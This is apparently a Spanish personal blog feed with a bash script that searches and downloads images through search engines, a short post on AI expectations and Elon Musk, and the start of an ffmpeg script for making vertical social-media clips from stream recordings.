</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CYAN<span style="color:#e6db74">}</span><span style="color:#e6db74">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CYAN<span style="color:#e6db74">}</span><span style="color:#e6db74"> Buscador de Imágenes - </span><span style="color:#e6db74">${</span>MOTOR^^<span style="color:#e6db74">}${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CYAN<span style="color:#e6db74">}</span><span style="color:#e6db74">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">Búsqueda:</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74"> </span>$QUERY<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">Motor:</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74"> </span>$MOTOR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descargar resultados</span>
</span></span><span style="display:flex;"><span>CACHE_FILE<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CACHE_DIR<span style="color:#e6db74">}</span><span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>MOTOR<span style="color:#e6db74">}</span><span style="color:#e6db74">_</span><span style="color:#66d9ef">$(</span>echo $QUERY | tr <span style="color:#e6db74">' '</span> <span style="color:#e6db74">'_'</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">.cache"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Descargando resultados...</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> $USE_JSON; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> curl -s <span style="color:#e6db74">"</span>$URL<span style="color:#e6db74">"</span> > <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> curl -s -A <span style="color:#e6db74">"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"</span> <span style="color:#e6db74">"</span>$URL<span style="color:#e6db74">"</span> > <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -s <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Error: No se pudo descargar resultados</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Extraer URLs según el tipo</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Extrayendo URLs...</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> $USE_JSON; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># SearXNG JSON</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> command -v jq &> /dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> URLS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>jq -r <span style="color:#e6db74">'.results[]? | select(.img_src != null) | .img_src'</span> <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span> 2>/dev/null | head -30<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> URLS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>jq -r <span style="color:#e6db74">'.results[]? | select(.thumbnail != null) | .thumbnail'</span> <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span> 2>/dev/null | head -30<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Error: jq no está instalado (necesario para SearXNG)</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Instala con: sudo pacman -S jq</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># HTML parsing</span>
</span></span><span style="display:flex;"><span> URLS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>extract_urls_from_html <span style="color:#e6db74">"</span>$CACHE_FILE<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verificar si hay URLs</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">No se encontraron URLs de imágenes</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Tip: Prueba con otro motor</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Debug: cat </span>$CACHE_FILE<span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NUM_URLS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span> | wc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">✓ Encontradas </span>$NUM_URLS<span style="color:#e6db74"> URLs</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">\n"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Procesar según modo</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$MODE<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> --list|-l<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CYAN<span style="color:#e6db74">}</span><span style="color:#e6db74">URLs encontradas:</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">\n"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span> | nl -w2 -s<span style="color:#e6db74">'. '</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> --urls|-u<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> --download|-d<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> DOWNLOAD_DIR<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CACHE_DIR<span style="color:#e6db74">}</span><span style="color:#e6db74">/downloads/</span><span style="color:#66d9ef">$(</span>date +%Y%m%d_%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">_</span><span style="color:#e6db74">${</span>QUERY// /_<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> mkdir -p <span style="color:#e6db74">"</span>$DOWNLOAD_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>CYAN<span style="color:#e6db74">}</span><span style="color:#e6db74">Descargando a: </span>$DOWNLOAD_DIR<span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">\n"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> counter<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</span>$URLS<span style="color:#e6db74">"</span> | <span style="color:#66d9ef">while</span> read url; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$url<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ext<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>url##*.<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ext<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>ext%%<span style="color:#ae81ff">\?</span>*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ext<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>ext%%&*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$ext<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> jpg|jpeg|png|gif|webp|svg<span style="color:#f92672">)</span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span> ext<span style="color:#f92672">=</span><span style="color:#e6db74">"jpg"</span> ;;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> filename<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>counter<span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">${</span>ext<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -n <span style="color:#e6db74">"[</span>$counter<span style="color:#e6db74">/</span>$NUM_URLS<span style="color:#e6db74">] </span>$filename<span style="color:#e6db74"> ... "</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> timeout <span style="color:#ae81ff">10</span> wget -q --max-redirect<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> -U <span style="color:#e6db74">"Mozilla/5.0"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -O <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>DOWNLOAD_DIR<span style="color:#e6db74">}</span><span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$url<span style="color:#e6db74">"</span> 2>/dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Verificar que sea imagen</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> file <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>DOWNLOAD_DIR<span style="color:#e6db74">}</span><span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> 2>/dev/null | grep -qE <span style="color:#e6db74">"image|JPEG|PNG|GIF|WebP|SVG"</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">✓</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> rm -f <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>DOWNLOAD_DIR<span style="color:#e6db74">}</span><span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">✗</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">✗</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">((</span>counter++<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> DOWNLOADED<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>find <span style="color:#e6db74">"</span>$DOWNLOAD_DIR<span style="color:#e6db74">"</span> -type f 2>/dev/null | wc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"\n</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">Descargadas: </span>$DOWNLOADED<span style="color:#e6db74"> imágenes</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">Ubicación: </span>$DOWNLOAD_DIR<span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$DOWNLOADED<span style="color:#e6db74">"</span> -gt <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Ver con: feh </span>$DOWNLOAD_DIR<span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> rmdir <span style="color:#e6db74">"</span>$DOWNLOAD_DIR<span style="color:#e6db74">"</span> 2>/dev/null
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> --open|-o|*<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Abriendo en w3m... (Presiona 'q' para salir)</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">\n"</span>
</span></span><span style="display:flex;"><span> sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> $W3M <span style="color:#e6db74">"</span>$URL<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span></code></pre></div>
-
Market
https://imlauera.github.io/market/
Sun, 28 Dec 2025 11:35:06 -0300
https://imlauera.github.io/market/
<p>El texto que compartiste es una reflexión bastante profunda sobre el progreso de la inteligencia artificial (IA), las expectativas sobre ella y sus limitaciones. Vamos a desglosarlo paso a paso para entenderlo mejor.</p>
<h3 id="1-elon-musk-y-la-ia"><strong>1. Elon Musk y la IA:</strong></h3>
<p>En 2014, Elon Musk comparó la inteligencia artificial con “invocar a un demonio”. Su preocupación radicaba en el hecho de que la IA podría volverse tan avanzada que llegaría a ser incontrolable o incluso peligrosa, sobre todo si alcanzaba un nivel de inteligencia superior al humano (superinteligencia). La idea era que las IA, como las que jugaban a Go (un juego de mesa), de repente empezaron a superar a los mejores jugadores humanos, lo que parecía un paso hacia una IA superpoderosa.</p>
-
Make Instagram clip
https://imlauera.github.io/instagram_clip/
Sun, 28 Dec 2025 01:45:04 -0300
https://imlauera.github.io/instagram_clip/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Script para editar videos de streaming al estilo Instagram/TikTok</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Uso: ./edit_video.sh input.mp4 [inicio] [duracion]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Colores para output</span>
</span></span><span style="display:flex;"><span>RED<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0;31m'</span>
</span></span><span style="display:flex;"><span>GREEN<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0;32m'</span>
</span></span><span style="display:flex;"><span>YELLOW<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[1;33m'</span>
</span></span><span style="display:flex;"><span>NC<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0m'</span> <span style="color:#75715e"># No Color</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verificar que ffmpeg esté instalado</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ! command -v ffmpeg &> /dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Error: ffmpeg no está instalado</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Instala con: sudo pacman -S ffmpeg"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Función de ayuda</span>
</span></span><span style="display:flex;"><span>show_help<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> <input.mp4> [inicio] [duracion] [opciones]"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Argumentos posicionales:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" input.mp4 Video de entrada"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" inicio Tiempo de inicio (formato: 00:05:30 o 330)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" duracion Duración del clip (formato: 00:00:30 o 30)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Opciones:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -o, --output <nombre> Nombre del archivo de salida"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -r, --ratio <aspect> Aspect ratio: 9:16 (vertical), 1:1 (cuadrado), 16:9 (horizontal)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -s, --speed <velocidad> Velocidad: 0.5 (lento), 1.0 (normal), 2.0 (rápido)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -z, --zoom <factor> Factor de zoom: 1.0-2.0"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -b, --blur Añadir blur en los bordes (letterbox)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -t, --text <texto> Añadir texto/subtítulo"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -f, --fade Añadir fade in/out"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -q, --quality <preset> Preset de calidad: ultrafast, fast, medium, slow"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -c, --compress Comprimir para redes sociales"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" --vertical Formato vertical (9:16) - shortcut"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" --square Formato cuadrado (1:1) - shortcut"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" -h, --help Mostrar esta ayuda"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Ejemplos:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" </span>$0<span style="color:#e6db74"> stream.mp4 00:05:30 30 --vertical"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" </span>$0<span style="color:#e6db74"> stream.mp4 330 30 -r 9:16 -s 1.5 -z 1.2 -f"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" </span>$0<span style="color:#e6db74"> stream.mp4 0 60 --square -t \"Mi clip\" -b"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Valores por defecto</span>
</span></span><span style="display:flex;"><span>INPUT<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>START_TIME<span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span>
</span></span><span style="display:flex;"><span>DURATION<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>OUTPUT<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>ASPECT_RATIO<span style="color:#f92672">=</span><span style="color:#e6db74">"9:16"</span>
</span></span><span style="display:flex;"><span>SPEED<span style="color:#f92672">=</span><span style="color:#e6db74">"1.0"</span>
</span></span><span style="display:flex;"><span>ZOOM<span style="color:#f92672">=</span><span style="color:#e6db74">"1.0"</span>
</span></span><span style="display:flex;"><span>ADD_BLUR<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span>TEXT<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>ADD_FADE<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span>QUALITY<span style="color:#f92672">=</span><span style="color:#e6db74">"medium"</span>
</span></span><span style="display:flex;"><span>COMPRESS<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Parsear argumentos</span>
</span></span><span style="display:flex;"><span>POSITIONAL_ARGS<span style="color:#f92672">=()</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#f92672">[[</span> $# -gt <span style="color:#ae81ff">0</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> $1 in
</span></span><span style="display:flex;"><span> -h|--help<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> show_help
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -o|--output<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> OUTPUT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -r|--ratio<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ASPECT_RATIO<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -s|--speed<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> SPEED<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -z|--zoom<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ZOOM<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -b|--blur<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ADD_BLUR<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -t|--text<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> TEXT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -f|--fade<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ADD_FADE<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> -q|--quality<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> QUALITY<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> shift <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> ;;
